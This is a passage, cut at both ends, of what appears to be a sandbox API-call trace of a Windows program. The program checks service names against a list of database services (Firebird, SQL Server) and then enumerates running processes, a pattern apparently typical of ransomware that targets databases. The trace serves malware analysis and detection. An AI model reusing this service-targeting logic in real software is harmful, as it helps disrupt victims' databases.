(lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0089.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0089.251] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0089.251] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0089.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0089.251] lstrlenW (lpString="LSM") returned 3 [0089.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0089.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0089.251] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0089.252] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0089.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0089.252] lstrlenW (lpString="MapsBroker") returned 10 [0089.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0089.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0089.252] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0089.252] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0089.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0089.252] lstrlenW (lpString="MpsSvc") returned 6 [0089.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0089.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0089.252] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0089.252] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0089.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0089.252] lstrlenW (lpString="NcbService") returned 10 [0089.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0089.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0089.252] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0089.252] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0089.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0089.252] lstrlenW (lpString="netprofm") returned 8 [0089.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0089.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0089.252] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0089.253] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0089.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0089.253] lstrlenW (lpString="NlaSvc") returned 6 [0089.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0089.253] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0089.253] lstrlenW (lpString="nsi") returned 3 [0089.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0089.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0089.253] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0089.253] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0089.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0089.253] lstrlenW (lpString="PcaSvc") returned 6 [0089.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0089.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0089.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0089.253] lstrlenW (lpString="PlugPlay") returned 8 [0089.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0089.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0089.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0089.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0089.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0089.254] lstrlenW (lpString="Power") returned 5 [0089.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0089.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0089.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0089.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0089.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0089.254] lstrlenW (lpString="ProfSvc") returned 7 [0089.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0089.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0089.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0089.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0089.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0089.254] lstrlenW (lpString="RpcEptMapper") returned 12 [0089.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0089.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0089.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0089.254] lstrlenW (lpString="RpcSs") returned 5 [0089.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0089.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0089.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0089.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0089.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0089.255] lstrlenW (lpString="SamSs") returned 5 [0089.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0089.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0089.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0089.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0089.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0089.255] lstrlenW (lpString="Schedule") returned 8 [0089.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0089.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0089.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0089.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0089.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0089.255] lstrlenW (lpString="SecurityHealthService") returned 21 [0089.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0089.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0089.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0089.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0089.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0089.255] lstrlenW (lpString="SENS") returned 4 [0089.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0089.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0089.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0089.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0089.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0089.256] lstrlenW (lpString="ShellHWDetection") returned 16 [0089.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.256] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0089.256] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0089.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0089.256] lstrlenW (lpString="Spooler") returned 7 [0089.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0089.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0089.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0089.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0089.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0089.256] lstrlenW (lpString="SSDPSRV") returned 7 [0089.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0089.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0089.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0089.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0089.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0089.609] lstrlenW (lpString="StateRepository") returned 15 [0089.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0089.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0089.609] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0089.609] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0089.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0089.609] lstrlenW (lpString="SysMain") returned 7 [0089.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0089.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0089.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0089.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0089.610] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36840c8 | out: hHeap=0x440000) returned 1 [0089.610] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0089.617] Process32FirstW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.617] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.618] lstrlenW (lpString="System") returned 6 [0089.618] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.619] lstrlenW (lpString="smss.exe") returned 8 [0089.619] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.620] lstrlenW (lpString="csrss.exe") returned 9 [0089.620] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.620] lstrlenW (lpString="wininit.exe") returned 11 [0089.620] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.621] lstrlenW (lpString="csrss.exe") returned 9 [0089.621] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.622] lstrlenW (lpString="winlogon.exe") returned 12 [0089.622] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.622] lstrlenW (lpString="services.exe") returned 12 [0089.622] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.623] lstrlenW (lpString="lsass.exe") returned 9 [0089.623] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.624] lstrlenW (lpString="svchost.exe") returned 11 [0089.624] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.624] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0089.624] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.625] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0089.625] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.626] lstrlenW (lpString="svchost.exe") returned 11 [0089.626] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.626] lstrlenW (lpString="dwm.exe") returned 7 [0089.627] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.627] lstrlenW (lpString="svchost.exe") returned 11 [0089.627] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.628] lstrlenW (lpString="svchost.exe") returned 11 [0089.628] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.629] lstrlenW (lpString="svchost.exe") returned 11 [0089.629] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.629] lstrlenW (lpString="svchost.exe") returned 11 [0089.629] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.630] lstrlenW (lpString="svchost.exe") returned 11 [0089.630] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.631] lstrlenW (lpString="svchost.exe") returned 11 [0089.631] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.632] lstrlenW (lpString="svchost.exe") returned 11 [0089.632] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.632] lstrlenW (lpString="svchost.exe") returned 11 [0089.632] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.633] lstrlenW (lpString="svchost.exe") returned 11 [0089.633] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.634] lstrlenW (lpString="spoolsv.exe") returned 11 [0089.634] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.634] lstrlenW (lpString="svchost.exe") returned 11 [0089.634] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.635] lstrlenW (lpString="svchost.exe") returned 11 [0089.635] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.636] lstrlenW (lpString="audiodg.exe") returned 11 [0089.636] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0089.637] lstrlenW (lpString="sihost.exe") returned 10 [0089.637] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.637] lstrlenW (lpString="svchost.exe") returned 11 [0089.637] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.638] lstrlenW (lpString="taskhostw.exe") returned 13 [0089.638] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0089.639] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0089.639] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0089.639] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0089.639] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.640] lstrlenW (lpString="explorer.exe") returned 12 [0089.640] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0089.641] lstrlenW (lpString="Memory Compression") returned 18 [0089.641] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0089.901] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0089.901] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0089.901] lstrlenW (lpString="SearchUI.exe") returned 12 [0089.902] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0089.902] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0089.902] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.903] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0089.903] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.904] lstrlenW (lpString="taskhostw.exe") returned 13 [0089.904] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0089.904] lstrlenW (lpString="UsoClient.exe") returned 13 [0089.904] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.905] lstrlenW (lpString="taskhostw.exe") returned 13 [0089.905] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0089.906] lstrlenW (lpString="msoia.exe") returned 9 [0089.906] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, 